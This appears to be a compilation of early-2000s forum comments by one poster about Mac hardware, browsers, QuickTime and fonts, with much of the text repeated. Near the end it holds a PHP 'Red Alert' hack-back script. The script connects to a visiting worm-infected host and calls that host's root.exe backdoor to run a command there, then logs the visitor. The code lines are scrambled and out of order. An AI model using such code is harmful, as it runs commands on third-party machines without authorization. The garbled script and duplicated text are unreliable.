...should be taken out and shot. Personal prefernce I know, but years of seeing shitty PowerPoint presentations and Word documents laid out in it have convinced me it's the sloppiest, ugliest, most unprofessional-looking typeface there is. It's not even good for lettering comic books.
The only good use i've seen for it was when I got a credit card in the mail. It was in an envelope, badly printed with my address in blue Comic Sans. Inside that envelope was the real one, a regular windowed envelope marked "disguised mail". The Comic Sans had done a good job looking unprofessional, to hide the fact it was a letter from the bank.
Care to share more information on this? I've also been thinking about putting together an mp3 box, and would be interested to hear what hardware you're planning to use and what kind of setup you're making. Will it just stream mp3s from across your network, or will it include a big HDD to store them locally? Have you considered how noisy it will be? What measures have you taken to reduce this (choice of processor, fans, HDDs and so on)?
He saves 20 seconds every time he uses it. I'm not saying it's worth paying $80 for such a small gain, but your logic is flawed. Your numbers only add up if he only uses the drive once.
Apple continues to develop and promote decidedly unopen formats like Quicktime, which are definately not friendly to alternative platforms.
When will people learn the difference between a file format and a codec? The QuickTime API and file format are open and well documented. You want to write a player for QuickTime files? Go ahead: Apple won't stop you. Want to reverse-engineer and implement the API? Good luck. But QuickTime is a container format: you can plug whatever codecs you want into it. The Sorenson 3 codec, which, due to it being pretty fucking good, is the most popular for QuickTime video, is only available for Mac and Windows. Hence the problem.
This all becomes irrelevant with QuickTime 6 though, as it's expected content providers will move to using the superior and open AVC codec. Interoperability at last.
The most popular thing ever made by any mobile company is SMS. The idea that I can write SMSs on my iBook and then send them from my phone is so good that I'm gonna shell out for the Bluetooth dongle as soon as they get them back in stock.
Given the choice of buying an expensive, bulky PDA, or storing contacts and calendar on a cute, tiny (and FREE) T68 is a no-brainer.
More people have mobiles than PCs, digital cameras and whatever put together. It makes perfect sense that they should include them as an important part of their digital hub thing.
The T68s are getting very popular in Europe. It can see people choosing a Mac just because they can easily control their mobile from it.
...much as i wish it were. There was no mention at all of discounts for those of us with software coupons. It's full price for everyone except those who bought the computers today or later, presumably to stop people holding off on buying new hardware.
Chimera is certainly getting very slick, and was recently moved into the Mozilla CVS tree. I'm not sure how long it's been like this, or how significant it is, but the but livepage.apple.com is now pointing to home.netscape.com. Of course, IE is still the default browser, but when you open it the first time it takes you to netscape.
Well, News Corp. would have a huge incentive in these codes being broken, as it is putting a serious strain on ITV Digital who uses these cards, through people getting the TV for free. The main rival of ITV Digital? Why, if it isn't Sky Digital, part owned by...News Corporation. I'm certainly not suggesting that Murdoch would go so far as to instruct one of his companies to undermine a competitor of another of his companies by cracking their code...but you never know.
Steve Jobs: "We have thought than when we get a little spare time, we will look at taking it to Windows. We know the experience won't be as good, but we will probably look at that down the road."
Are you implying that Linux is not a brand? Surely that's the whole point here. Linux is a widely recognised, global brand which my mum has heard of. "GNU - huh?" RMS is trying to piggyback off this recognition. Face it - non-geeks haven't heard of GNU and stallman is jealous.
That seems a bit like overkill. There is an Everything2 node on this subject with some simpler PHP code samples, including (full disclosure) one by me.
I'd suggest tacking a look at OmniWeb for your browser
Although it does have its benefits, mainly coming from the fact that its Cocoa, such as its anti-aliased fonts, OmniWeb is a step backwards. Its handling of CSS is dire, and DOM and ECMAScript support is buggier than Netscape 4.x.
Omni Group have taken a worrying attitude to this. They claim that it is most important to display bad HTML well, even at the expense of breaking compliant code. Just when we thought that there was an end in sight to these sort of issues, OmniWeb appears and we have to start worrying again.
IE on OS X is clearly not properly carbonized, with loads of modal dialog boxes and rendering pages locking up the whole app. Learn to love the spinning rainbow ball. Its standards-compliance is second to none, though. Opera is great and renders pages amazingly fast, but quits all the time, and has buggy ECMAScript handling. I really wish it had address auto-completion and a favourites bar. I love iCab, and feel that it will one day be the best browser around. It has some great features (many in common with Opera) and the developers have a commendable attitude to standards. Unfortunately, ECMAScript support is unfinished at the moment, and CSS is still pretty sketchy. Mozilla has an awful interface and is horribly bloated. Mac users want apps to look like Mac apps.
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The only people who say that looks don't matter are ugly people who are lying to themselves, and beautiful people who are lying to you. Its a fact of life. What's wrong with liking beautiful things. Call me shallow, but all things being equal, I would prefer to be surrounded by attractive looking objects, people etc. Notice I said all things being equal.
If I have to look at my furnace siiting in the corner of my room, I'd sure prefer to buy the one that's silent, a third the size of most other furnaces and looks like a piece of art, rather than a noisy, ugly lump.
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Well, that's your loss. Larger. More expensive. Worse looking.
What are you on? I've got two cubes in my office, and the PSU etc is not a problem at all.Mind you, I would prefer if I could've afforded a airport cards for them. Granted neither of them have loads of peripherals, but what with the USB hubs built into the monitor and keyboard, they are perfectly minimalist. The cables emerging from our cubes are: power in, ethernet, diaplay connector (one cable for power, usb, digital monitor).
The place to go mac 'news' and unsubstatiated rumours, is the hilarious As the Apple Turns, where they treat the news with the respect it deserves - as an entertaining soap opera. It makes me laugh out loud every day. Read all about The Great Steve's Reality Distortion Field, the ongoing saga of Redmond Justice and the longer-running saga of their DSL line.
Ironically, they seem to be getting the best tip-off's too.
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...should be taken out and shot. Personal prefernce I know, but years of seeing shitty PowerPoint presentations and Word documents laid out in it have convinced me it's the sloppiest, ugliest, most unprofessional-looking typeface there is. It's not even good for lettering comic books.
The only good use i've seen for it was when I got a credit card in the mail. It was in an envelope, badly printed with my address in blue Comic Sans. Inside that envelope was the real one, a regular windowed envelope marked "disguised mail". The Comic Sans had done a good job looking unprofessional, to hide the fact it was a letter from the bank.
Care to share more information on this? I've also been thinking about putting together an mp3 box, and would be interested to hear what hardware you're planning to use and what kind of setup you're making. Will it just stream mp3s from across your network, or will it include a big HDD to store them locally? Have you considered how noisy it will be? What measures have you taken to reduce this (choice of processor, fans, HDDs and so on)?
He saves 20 seconds every time he uses it. I'm not saying it's worth paying $80 for such a small gain, but your logic is flawed. Your numbers only add up if he only uses the drive once.
When will people learn the difference between a file format and a codec? The QuickTime API and file format are open and well documented. You want to write a player for QuickTime files? Go ahead: Apple won't stop you. Want to reverse-engineer and implement the API? Good luck. But QuickTime is a container format: you can plug whatever codecs you want into it. The Sorenson 3 codec, which, due to it being pretty fucking good, is the most popular for QuickTime video, is only available for Mac and Windows. Hence the problem.
This all becomes irrelevant with QuickTime 6 though, as it's expected content providers will move to using the superior and open AVC codec. Interoperability at last.
The most popular thing ever made by any mobile company is SMS. The idea that I can write SMSs on my iBook and then send them from my phone is so good that I'm gonna shell out for the Bluetooth dongle as soon as they get them back in stock.
Given the choice of buying an expensive, bulky PDA, or storing contacts and calendar on a cute, tiny (and FREE) T68 is a no-brainer.
More people have mobiles than PCs, digital cameras and whatever put together. It makes perfect sense that they should include them as an important part of their digital hub thing. The T68s are getting very popular in Europe. It can see people choosing a Mac just because they can easily control their mobile from it.
Yeah, you found the coupons. Did you find anything saying they gave you a cheaper upgrade though? I doubt it.
...much as i wish it were. There was no mention at all of discounts for those of us with software coupons. It's full price for everyone except those who bought the computers today or later, presumably to stop people holding off on buying new hardware.
Proteus is what you're after. I'd say it's even sweeter than Trillian, and runs on OS X.
Can't think what that was designed for.
Chimera is certainly getting very slick, and was recently moved into the Mozilla CVS tree.
I'm not sure how long it's been like this, or how significant it is, but the but livepage.apple.com is now pointing to home.netscape.com. Of course, IE is still the default browser, but when you open it the first time it takes you to netscape.
Well, News Corp. would have a huge incentive in these codes being broken, as it is putting a serious strain on ITV Digital who uses these cards, through people getting the TV for free. The main rival of ITV Digital? Why, if it isn't Sky Digital, part owned by...News Corporation.
I'm certainly not suggesting that Murdoch would go so far as to instruct one of his companies to undermine a competitor of another of his companies by cracking their code...but you never know.
Steve Jobs: "We have thought than when we get a little spare time, we will look at taking it to Windows. We know the experience won't be as good, but we will probably look at that down the road."
Linux is a trademark of Linus Torvalds.
That seems a bit like overkill. There is an Everything2 node on this subject with some simpler PHP code samples, including (full disclosure) one by me.
On the basis of that, this should work. I'll watch the logs with interest.
/scripts/root.exe?/c+ren+root.exe+infected.dat HTTP/1.0\r\n\r\n");
.$res );
<?php
header("HTTP/1.0 400 You cheeky fucker");
?>
<html>
<title>Red Alert</title>
<?php
$fp =fsockopen($REMOTE_ADDR,80,$en,$es,5);
if (!$fp)
{
echo "I tried to disinfect you, but couldn't connect: $es ($en)";
}
else
{
fputs ($fp, "GET
echo "I tried to disinfect you, and the server started to say:<h2>";
echo $res =fgets($fp,1024);
fclose($fp);
}
$log=fopen("/tmp/redalert.log","a");
fwrite($log,$REMOTE_ADDR . " " . date("r") . " "
fclose($log);
echo "</h2> $SERVER_SIGNATURE";
?>
Offtopic, but are you suggesting that genocide, crimes against humanity etc are legal in Yugoslavia?
Omni Group have taken a worrying attitude to this. They claim that it is most important to display bad HTML well, even at the expense of breaking compliant code. Just when we thought that there was an end in sight to these sort of issues, OmniWeb appears and we have to start worrying again.
IE on OS X is clearly not properly carbonized, with loads of modal dialog boxes and rendering pages locking up the whole app. Learn to love the spinning rainbow ball. Its standards-compliance is second to none, though. Opera is great and renders pages amazingly fast, but quits all the time, and has buggy ECMAScript handling. I really wish it had address auto-completion and a favourites bar.
I love iCab, and feel that it will one day be the best browser around. It has some great features (many in common with Opera) and the developers have a commendable attitude to standards. Unfortunately, ECMAScript support is unfinished at the moment, and CSS is still pretty sketchy. Mozilla has an awful interface and is horribly bloated. Mac users want apps to look like Mac apps.
The only people who say that looks don't matter are ugly people who are lying to themselves, and beautiful people who are lying to you. Its a fact of life. What's wrong with liking beautiful things. Call me shallow, but all things being equal, I would prefer to be surrounded by attractive looking objects, people etc. Notice I said all things being equal. If I have to look at my furnace siiting in the corner of my room, I'd sure prefer to buy the one that's silent, a third the size of most other furnaces and looks like a piece of art, rather than a noisy, ugly lump.
What are you on? I've got two cubes in my office, and the PSU etc is not a problem at all.Mind you, I would prefer if I could've afforded a airport cards for them. Granted neither of them have loads of peripherals, but what with the USB hubs built into the monitor and keyboard, they are perfectly minimalist. The cables emerging from our cubes are: power in, ethernet, diaplay connector (one cable for power, usb, digital monitor).
The place to go mac 'news' and unsubstatiated rumours, is the hilarious As the Apple Turns, where they treat the news with the respect it deserves - as an entertaining soap opera. It makes me laugh out loud every day. Read all about The Great Steve's Reality Distortion Field, the ongoing saga of Redmond Justice and the longer-running saga of their DSL line.
Ironically, they seem to be getting the best tip-off's too.
- MySQL
- PostgreSQL
Did I mention how much I love this OS?